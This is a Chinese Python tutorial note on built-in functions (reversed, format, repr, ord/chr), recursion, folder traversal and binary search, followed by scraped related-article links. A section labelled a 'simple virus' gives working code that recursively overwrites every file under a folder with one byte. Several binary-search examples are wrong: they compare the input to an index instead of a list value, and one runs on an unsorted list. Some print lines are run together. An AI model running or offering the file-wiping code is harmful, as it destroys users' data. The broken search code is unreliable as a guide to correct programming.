1.昨日的补充
reversed    翻转, 将一个序列翻转,返回翻转序列的迭代器
lst = ["河南话", "四川话", "东北", "山东", "上海"]
 
n = reversed(lst)
print(list(n))
判断是不是回文
huiwen = "上海自来水来自海上"
 
# s = huiwen[::-1]   #切片的翻转
s1 = reversed(huiwen)   ###返回的是迭代器
n =""
for i in s1:
    n += i
print(n)
slice  切片  ###麻烦
lst = ["河南话", "四川话", "东北", "山东", "上海"]
s = slice(3, 5)
print(lst[s])
format()  与具体数据相关,用于计算各种小数,精算等
#格式化输出
s = "我叫{name}, 我来自{home}, 我喜欢干{hobby}".format(name="周杰伦", home="台湾", hobby="唱歌")
print(s)
# 字符串 和center 相同   对齐
 
# s = "门神"
# s1 = s.center(20)
# print(s1)
 
print(format('test', '<20')) # 左对⻬ 
print(format('test', '>20')) # 右对⻬
 print(format('test', '^20')) # 居中
 # 数值 
print(format(3, 'b')) # ⼆进制 
print(format(97, 'c')) # 转换成unicode字符 
print(format(11, 'd')) # ⼗进制 
print(format(11, 'o')) # ⼋进制 
print(format(11, 'x')) # ⼗六进制(⼩写字⺟) 
print(format(11, 'X')) # ⼗六进制(⼤写字⺟) 
print(format(11, 'n')) # 和d⼀样 
print(format(11)) # 和d⼀样 
# 浮点数 (重点,主要运用在金融计算)
print(format(123456789, 'e')) # 科学计数法. 默认保留6位⼩数 
print(format(123456789, '0.2e')) # 科学计数法. 保留2位⼩数(⼩写) print(format(123456789, '0.2E')) # 科学计数法. 保留2位⼩数(⼤写) print(format(1.23456789, 'f')) # ⼩数点计数法. 保留6位⼩数 
print(format(1.23456789, '0.2f')) # ⼩数点计数法. 保留2位⼩数 print(format(1.23456789, '0.10f')) # ⼩数点计数法. 保留10位⼩数 print(format(1.23456789e+10000, 'F')) # ⼩数点计数法.
ord() 输入字符找带字符编码的位置
# 找到对应字符的编码位置
print(ord('a')) 
print(ord('中'))
chr() 输入位置数字找出对应的字符
# 找到对应编码位置的字符 
print(chr(97)) 
print(chr(20013))
ascii() 是ascii码中的返回该值 不是就返回\u...
# 在ascii中就返回这个值. 如果不在就返回\u... 
print(ascii('a')) 
print(ascii('好'))
转义字符
\n 换行
\t tab 制表符
\r 回车
\" 双引号
\' 单引号
\\ ---> \
print('你好, 我叫周杰伦.我来自\\n台湾. 我老婆叫昆凌')
repr() 返回⼀个对象的string形式, 还原字符串最官方的效果
r 原封不动的显示字符串
# repr 就是原封不动的输出, 引号和转义字符都不起作⽤ 
print(repr('⼤家好,\n \t我叫周杰伦')) 
print('⼤家好我叫周杰伦') 
# %r 原封不动的写出来 
name = 'taibai' 
print('我叫%r' % name)
str:python的字符串
repr: 所有的字符串
print(repr("你好. \\n我叫\周杰伦"))  # python -> repr() -> cpython c里面. 报错
 
print(r"\n\t范德萨发生\r\b\ffdsaf")  # 原封不动的显示字符串
递归
递归就是函数自己调用自己,递归必须要有入口(参数)和出口(return)
def func():
    print("我是递归")
    func()
树形结构的遍历
import os
 
def func(lujing, n): # "d:/a/"
    lst = os.listdir(lujing) # 打开文件夹. 列出该文件夹内的所有文件名
    for el in lst: # el是文件的名字.  b, c
        # 还原文件路径
        path = os.path.join(lujing, el) # "d:/a/b"
        if os.path.isdir(path): # 判断路径是否是文件夹
            print("..." * n,el) # 显示文件夹的名字
            func(path, n + 1)  # 在来一次  ################
        else:
            print("\t" * n,el) # 显示文件
 
func("d:/a", 0)
简易的病毒
import os
def func(lujing, n): # d:/a/b
    lst = os.listdir(lujing)
    for el in lst: # b, c
        # 路径
        path = os.path.join(lujing, el) # 拼接路径 d:/a/b
        # 判断是文件还是文件夹
        if os.path.isdir(path):
            print("\t" * n, el)
            func(path, n+1)
        else:
            f = open(path, mode="wb")  ##路径写入
            f.write(b'1')    #通过修改字节
            print("\t" * n, el)
 
 
func("d:/a/", 0)
二分法
掐头结尾取中间,规则: 掐头结尾取中间,数据必须是有序序列
查找效率非常高
###通过循环列表跟输入的数字进行比较
lst = [1,3,5,7,12,36,68,79] # 数据集 百万级数据
num = int(input("请输入一个数字:"))
for i in lst:
    if i == num:
        print("这个数存在")
        break
else:
    print("这个数不存在")
二分法查找(需要明白和掌握)
lst = [1,3,5,7,12,36,68,79]
     0 1 2 3  4  5  6 7     #通过索引最左加上最右地板除取中间
num = int(input("请输入一个数字:"))
 
lift = 0
right = len(lst) -1
 
while lift <= right:
    mid = (lift + right) // 2
    if num > mid:
        lift = mid + 1
    elif num < mid:
        right = mid -1
    else:
        print('存在')
        break
else:
    print('不存在')
递归的方法一:  通过索引列表的索引
#递归
def func(n, lst):
    lift = 0
    right = len(lst)
    if lst != []:
        mid = (lift+right) // 2
        if n > lst[mid]:
            func(n, lst[mid+1:])
        elif n < mid:
            func(n, lst[:mid])
        else:
            print("存在")
            return
    else:
        print('不存在')
        return
n = int(input("请输入一个数字:"))
func(n, [1,3,5,7,12,36,68,79])
递归二(需要明白和掌握)
def func(n, lst, left, right): # 递归找到什么是可以变的. 什么是不可以变的
    if left <= right:
        mid = (left + right) // 2
        if n > lst[mid]:
            left = mid + 1
            return func(n, lst, left, right)
        elif n < lst[mid]:
            right = mid - 1
            return func(n, lst, left, right) # 递归如果有返回值. 所有调用递归的地方必须写return
        else:
            print("找到了")
            return mid  # 难点
    else:
        print("找不到")
        return -1
 
n = int(input("请输入你要查找的数:"))
lst = [1,3,55,98,37,41,2,5,1,4]
ret = func(n, lst, 0, len(lst)-1) # 78
print(ret)
最快的查找
lst = [1,3,55,98,37,41,2,5,1,4]
 
new_lst = []
for i in range(99):
    new_lst.append(0)
 
 
for i in lst:    # 1,3,55,98
    new_lst[i] = 1
 
print(new_lst)
 
 
i = int(input('请输入你要找的数据'))
if new_lst[i] == 0: # 1次
    print("不存在")
else:
    print("存在")
 

day 14 内置函数二的更多相关文章

  1. python---day14( 内置函数二)

    内置函数二一:匿名函数 lambda函数 lambda 表示匿名函数,不需要用def 来申明. 语法: 函数名=lambda 参数:返回值 ----〉 案例:f=lambda n:n*n 例子01: ...

  2. python函数知识六 内置函数二、匿名函数与内置函数三(重要)

    19.内置函数二 abs():绝对值 lst = [1,2,-3,1,2,-5] print([abs(i) for i in lst]) enumerate("可迭代对象",&q ...

  3. day16:内置函数二

    1,大作业,yield 返回之后可以对数据进行处理了就,注意函数的解耦,每一个小功能写成一个函数,增强可读性,写之前自己要先把整体功能分块,先做什么,在做什么 # 现在需要对这个员工信息文件进行增删改 ...

  4. python 内置函数(二) 进阶函数 递归内容及二分法查找 知识点

    1,lambda:  匿名函数 2.sorgted()  排序函数 3,filter()   过滤函数 筛选 4,map()  映射函数 5.递归 6.二分法 一. 匿名函数: lambda lamb ...

  5. Python入门-内置函数二

    看到标题你也能猜到今天要说大概内容是什么了,没错,昨天没有说完的部分再给大家说说(有一些重合的部分),内置函数的内容比较多,并且工作中经常用到的却不太多,很多都是不太常用的,所以我就着重说一些比较常用 ...

  6. 百万年薪python之路 -- 内置函数二 -- 最常用的内置函数

    1.内置函数 1.1 匿名函数 匿名函数,顾名思义就是没有名字的函数(其实是有名字的,就叫lambda),那么什么函数没有名字呢?这个就是我们以后面试或者工作中经常用匿名函数 lambda,也叫一句话 ...

  7. Day 14: 内置函数:

    Python提供了,许多内置的函数我们按 函数的作用来分类: 一.作用域相关的内置函数(2个) (1).globals() 更改全局变量 (2).locals()更改局并命名空间的变量(上一级) 五. ...

  8. 内置函数二: map sorted filter

    -----------生活里没有奇迹,大部分的时候奇迹是你自己创造的. # -------------------------------------------------------------- ...

  9. Python内置函数二 (递归函数,匿名函数,二分法)

    匿名函数 lambda() 语法: lambad  参数 : 返回值 def func(a,b): return a * b print(func(2,5)) a = lambda a ,b : a* ...

随机推荐

  1. sqlserver2008 insert语句性能

    在sqlserver2008中“新建查询”,执行批量添加语句的执行时间: declare @i int ) begin INSERT INTO [xxx].[dbo].[北京万奇亚讯科技_QueryL ...

  2. CSS/LESS tips and snippets

    如何style line-through? <style type="text/css"> span.inner { color: green; } span.oute ...

  3. Linux 虚拟机虚拟网卡问题导致无法连接问题

    问题描述 当 Linux 虚拟机启动时,通过串口输出或者启动日志, 观察到虚拟网卡启动或者初始化故障, 导致虚拟机无法连接. 问题分析 常见的超时报错范例如下: CentOS 复制 Bringing ...

  4. 微软宣布在Azure上支持更多的开放技术和选择

    微软和我都热爱Linux,并且就在情人节过去几天之后,我非常高兴能用几个激动人心的消息来表达这种对Linux的热爱,您将会看到在Azure上的云部署将具有更加开放的选择性和灵活性. 这些激动人心的消息 ...

  5. 大数据学习---大数据的学习【all】

    大数据介绍 什么是大数据以及有什么特点 大数据:是指无法在一定时间内用常规软件工具对其内容进行抓取.管理和处理的数据集合. 大数据是一种方法论:“一切都被记录,一切都被数字化,从数据中寻找需求,寻找知 ...

  6. Ubuntu16.04使用所遇问题记录

    记录笔者在使用Ubuntu系统过程中所遇到过的错误/问题和解决方案.本机系统为Ubuntu 16.04 LTS,64-bit. 目前已有的解决方案: (1)Ubuntu安装搜狗输入法 (2)Windo ...

  7. 误用MySQL关键字导致的错误

    使用Hibernate整合Spring的过程中,我使用explain作为表的字段,结果一直给我报错. 报错如下: ERROR: You have an error in your SQL syntax ...

  8. 用SQL实现的BASE64加密及解密函数(SQL2005以上有效)

    CREATE FUNCTION [dbo].[f_base64_encode] (@bin varbinary(max)) returns varchar(max) as begin return c ...

  9. tmux 后台运行程序

    之前写过tmux分屏,其实这个只是方便写代码啥的,那都还不是最重要的.跑模型时,一般一跑就是一整天都是常事. 电脑关机,睡眠,ssh连接失效都会断了程序运行. solution:tmux后台运行程序! ...

  10. cmd进入指定的文件夹

    怎么利用cmd进入指定的文件夹呢? 1:win+r ——cmd 2:进入要到达的盘符 (比如我要进入d盘) 3:然后通过  cd d:\project    进入指定的文件夹